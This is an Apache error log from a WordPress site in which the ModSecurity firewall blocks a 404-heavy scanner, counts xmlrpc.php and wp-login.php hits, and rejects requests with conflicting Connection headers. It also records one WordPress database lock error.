[Wed Feb 04 07:45:43.089007 2026] [:error] [pid 18816:tid 18841] [client 51.161.84.110:47244] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYKIp8szZcOol_Iv-0VlgAAAARY"]
[Wed Feb 04 07:45:45.045110 2026] [:error] [pid 47577:tid 47604] [client 51.161.84.110:47256] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYKIqavA4Yp0Sov-3kQevAAAABc"]
[Wed Feb 04 07:45:45.925187 2026] [:error] [pid 47676:tid 47692] [client 51.161.84.110:47250] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKIqQrYSkTgZEfUDqGW2QAAAM4"]
[Wed Feb 04 07:45:47.666126 2026] [:error] [pid 47578:tid 47626] [client 51.161.84.110:47258] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYKIq55oatM9u8-yDv8VlQAAAEs"]
[Wed Feb 04 07:45:49.238750 2026] [:error] [pid 47579:tid 47659] [client 51.161.84.110:47262] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYKIrfuxWks846_Vi2zn5gAAAI8"]
[Wed Feb 04 07:45:51.058655 2026] [:error] [pid 47579:tid 47646] [client 51.161.84.110:46652] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYKIr_uxWks846_Vi2zn7gAAAII"]
[Wed Feb 04 07:45:52.048641 2026] [:error] [pid 55445:tid 55448] [client 51.161.84.110:46658] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYKIsFnd043q8WHuhu3qdQAAAUE"]
[Wed Feb 04 07:45:54.076540 2026] [:error] [pid 18816:tid 18828] [client 51.161.84.110:46666] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKIssszZcOol_Iv-0VligAAAQk"]
[Wed Feb 04 07:45:55.235630 2026] [:error] [pid 47577:tid 47600] [client 51.161.84.110:46674] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYKIs6vA4Yp0Sov-3kQewQAAABM"]
[Wed Feb 04 07:45:57.705760 2026] [:error] [pid 18816:tid 18842] [client 51.161.84.110:46682] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKItcszZcOol_Iv-0VljgAAARc"]
[Wed Feb 04 07:45:58.414817 2026] [:error] [pid 18816:tid 18825] [client 51.161.84.110:46694] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKItsszZcOol_Iv-0VlkAAAAQY"]
[Wed Feb 04 07:46:01.939902 2026] [:error] [pid 55445:tid 55469] [client 51.161.84.110:44522] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKIuVnd043q8WHuhu3qiQAAAVY"]
[Wed Feb 04 07:46:03.785583 2026] [:error] [pid 47676:tid 47692] [client 51.161.84.110:44532] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKIuwrYSkTgZEfUDqGW7wAAAM4"]
[Wed Feb 04 07:46:05.065889 2026] [:error] [pid 47578:tid 47617] [client 51.161.84.110:44544] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKIvZ5oatM9u8-yDv8VowAAAEI"]
[Wed Feb 04 07:49:02.533823 2026] [:error] [pid 47676:tid 47695] [client 51.161.84.110:48564] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYKJbgrYSkTgZEfUDqGYHAAAANE"]
[Wed Feb 04 07:49:05.896040 2026] [:error] [pid 47676:tid 47703] [client 51.161.84.110:36324] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYKJcQrYSkTgZEfUDqGYIAAAANg"]
[Wed Feb 04 07:49:10.714051 2026] [:error] [pid 55445:tid 55452] [client 51.161.84.110:43892] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYKJdlnd043q8WHuhu3sbwAAAUU"]
[Wed Feb 04 07:49:11.932294 2026] [:error] [pid 55445:tid 55468] [client 51.161.84.110:43906] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKJd1nd043q8WHuhu3scwAAAVU"]
[Wed Feb 04 07:49:17.025595 2026] [:error] [pid 47577:tid 47591] [client 51.161.84.110:43916] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKJfavA4Yp0Sov-3kQgEwAAAAo"]
[Wed Feb 04 07:57:02.558858 2026] [proxy_fcgi:error] [pid 18816:tid 18829] [client 216.73.216.142:5411] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1770163022.3707339763641357421875', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option'
[Wed Feb 04 07:57:33.225119 2026] [:error] [pid 47577:tid 47589] [client 51.161.84.110:40172] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYKLbavA4Yp0Sov-3kQivAAAAAg"]
[Wed Feb 04 07:57:36.790206 2026] [:error] [pid 47578:tid 47622] [client 51.161.84.110:51174] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYKLcJ5oatM9u8-yDv8ZsgAAAEc"]
[Wed Feb 04 07:57:38.952016 2026] [:error] [pid 47579:tid 47659] [client 51.161.84.110:51188] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYKLcvuxWks846_Vi2zrvgAAAI8"]
[Wed Feb 04 07:57:40.024267 2026] [:error] [pid 47676:tid 47684] [client 51.161.84.110:49178] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKLdArYSkTgZEfUDqGaawAAAMY"]
[Wed Feb 04 07:57:44.896688 2026] [:error] [pid 47578:tid 47640] [client 51.161.84.110:49190] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKLeJ5oatM9u8-yDv8ZxQAAAFc"]
[Wed Feb 04 08:01:35.552916 2026] [:error] [pid 55445:tid 55458] [client 51.161.84.110:52634] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYKMX1nd043q8WHuhu3vaAAAAUs"]
[Wed Feb 04 08:01:40.427346 2026] [:error] [pid 18816:tid 18832] [client 51.161.84.110:51336] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYKMZMszZcOol_Iv-0VsiwAAAQ0"]
[Wed Feb 04 08:01:44.584026 2026] [:error] [pid 47578:tid 47623] [client 51.161.84.110:51344] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKMaJ5oatM9u8-yDv8bHwAAAEg"]
[Wed Feb 04 08:01:49.027146 2026] [:error] [pid 55445:tid 55460] [client 51.161.84.110:51348] [client 51.161.84.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYKMbVnd043q8WHuhu3vcwAAAU0"]
[Wed Feb 04 08:16:52.728994 2026] [:error] [pid 18816:tid 18836] [client 129.226.82.190:54540] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYKP9MszZcOol_Iv-0VzkAAAARE"]
[Wed Feb 04 08:17:05.828607 2026] [:error] [pid 18816:tid 18840] [client 35.225.180.227:60552] [client 35.225.180.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.225.180.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYKQAcszZcOol_Iv-0VznAAAARU"]
[Wed Feb 04 08:17:20.573119 2026] [:error] [pid 55445:tid 55464] [client 122.117.102.125:44904] [client 122.117.102.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.117.102.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYKQEFnd043q8WHuhu3y-wAAAVE"]
[Wed Feb 04 08:17:21.754687 2026] [:error] [pid 47579:tid 47651] [client 43.162.112.12:54168] [client 43.162.112.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.162.112.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYKQEfuxWks846_Vi2zwawAAAIc"]
[Wed Feb 04 08:32:25.100647 2026] [:error] [pid 47578:tid 47636] [client 45.92.1.79:55737] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYKTmZ5oatM9u8-yDv8maQAAAFU"]
[Wed Feb 04 08:32:26.271373 2026] [:error] [pid 55445:tid 55450] [client 45.92.1.79:56040] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYKTmlnd043q8WHuhu34RgAAAUM"]
[Wed Feb 04 08:32:27.443949 2026] [:error] [pid 47676:tid 47685] [client 45.92.1.79:56359] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYKTmwrYSkTgZEfUDqGkpgAAAMc"]
[Wed Feb 04 08:32:28.620108 2026] [:error] [pid 47578:tid 47622] [client 45.92.1.79:56648] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYKTnJ5oatM9u8-yDv8mjgAAAEc"]
[Wed Feb 04 08:32:29.781956 2026] [:error] [pid 47676:tid 47694] [client 45.92.1.79:57044] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYKTnQrYSkTgZEfUDqGktwAAANA"]
[Wed Feb 04 09:32:29.949460 2026] [:error] [pid 18816:tid 18836] [client 216.73.216.142:5233] [client 216.73.216.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYKhrcszZcOol_Iv-0WafwAAARE"]
[Wed Feb 04 09:52:38.189711 2026] [:error] [pid 47676:tid 47681] [client 104.223.56.35:51262] [client 104.223.56.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.223.56.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYKmZgrYSkTgZEfUDqG7CQAAAMM"]
[Wed Feb 04 09:52:41.286918 2026] [:error] [pid 47579:tid 47657] [client 104.223.56.35:51906] [client 104.223.56.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.223.56.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYKmafuxWks846_Vi2wQFQAAAI0"]
[Wed Feb 04 10:12:12.007405 2026] [:error] [pid 47405:tid 47448] [client 209.126.2.78:41858] [client 209.126.2.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.126.2.78, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYKq_KTmhSrwHQTn6I7FPAAAAMg"]
[Wed Feb 04 12:36:23.461533 2026] [:error] [pid 50578:tid 50594] [client 42.96.19.34:43376] [client 42.96.19.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.19.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYLMx9YUQBXdXxfW1mf2hgAAAA4"]
[Wed Feb 04 12:43:41.510730 2026] [:error] [pid 47405:tid 47457] [client 51.83.35.19:45856] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.35.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYLOfaTmhSrwHQTn6I7z_QAAANE"]
[Wed Feb 04 13:40:10.242398 2026] [:error] [pid 8285:tid 8296] [client 74.7.242.178:47378] [client 74.7.242.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.242.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYLbuhpweS7ndDaunz9_aQAAAEk"], referer: https://gigfragments.org/publications-and-outcomes/
[Wed Feb 04 13:41:32.505365 2026] [:error] [pid 8285:tid 8306] [client 74.7.242.45:35338] [client 74.7.242.45] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "114.119.150.38_2f20390f4bf2c71a212308cf7c6fbb784b1f8cbf"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aYLcCRpweS7ndDaunz-AAQAAAFM"], referer: https://gigfragments.org/wp-includes/js/,b,
[Wed Feb 04 15:41:25.381495 2026] [:error] [pid 47500:tid 47514] [client 163.223.104.21:55990] [client 163.223.104.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.104.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYL4JbrUat0rhPdY3A3KYAAAAUo"]
[Wed Feb 04 16:11:04.135454 2026] [:error] [pid 47406:tid 47476] [client 104.28.254.47:56623] [client 104.28.254.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.254.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYL_GAeu9R9b-_wtQ0IDigAAAQk"]
[Wed Feb 04 16:11:07.703376 2026] [:error] [pid 47406:tid 47472] [client 34.58.117.179:50830] [client 34.58.117.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.58.117.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYL_Gweu9R9b-_wtQ0IDjAAAAQU"]
[Wed Feb 04 18:50:28.948029 2026] [:error] [pid 50578:tid 50588] [client 165.232.188.16:34104] [client 165.232.188.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.232.188.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYMkdNYUQBXdXxfW1mdXWgAAAAg"]
[Wed Feb 04 19:02:00.552096 2026] [:error] [pid 8285:tid 8310] [client 43.157.22.109:47274] [client 43.157.22.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYMnKBpweS7ndDaunz_UFAAAAFc"]
[Wed Feb 04 20:26:36.646103 2026] [:error] [pid 47405:tid 47452] [client 119.28.140.106:59702] [client 119.28.140.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYM6_KTmhSrwHQTn6I5T1AAAAMw"]
[Wed Feb 04 20:36:51.599661 2026] [:error] [pid 55160:tid 55174] [client 34.132.177.121:50436] [client 34.132.177.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.177.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYM9Y-TAiAYDLSDaxddEdgAAAYw"]
[Wed Feb 04 20:37:01.930275 2026] [:error] [pid 55160:tid 55168] [client 162.0.235.223:47970] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYM9beTAiAYDLSDaxddEgwAAAYY"]
[Wed Feb 04 20:37:10.856512 2026] [:error] [pid 47405:tid 47455] [client 57.128.2.15:51765] [client 57.128.2.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.2.15, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYM9dqTmhSrwHQTn6I5WVAAAAM8"]
[Wed Feb 04 20:37:15.209498 2026] [:error] [pid 8285:tid 8305] [client 45.117.169.203:46830] [client 45.117.169.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.117.169.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYM9expweS7ndDaunz_sOwAAAFI"]
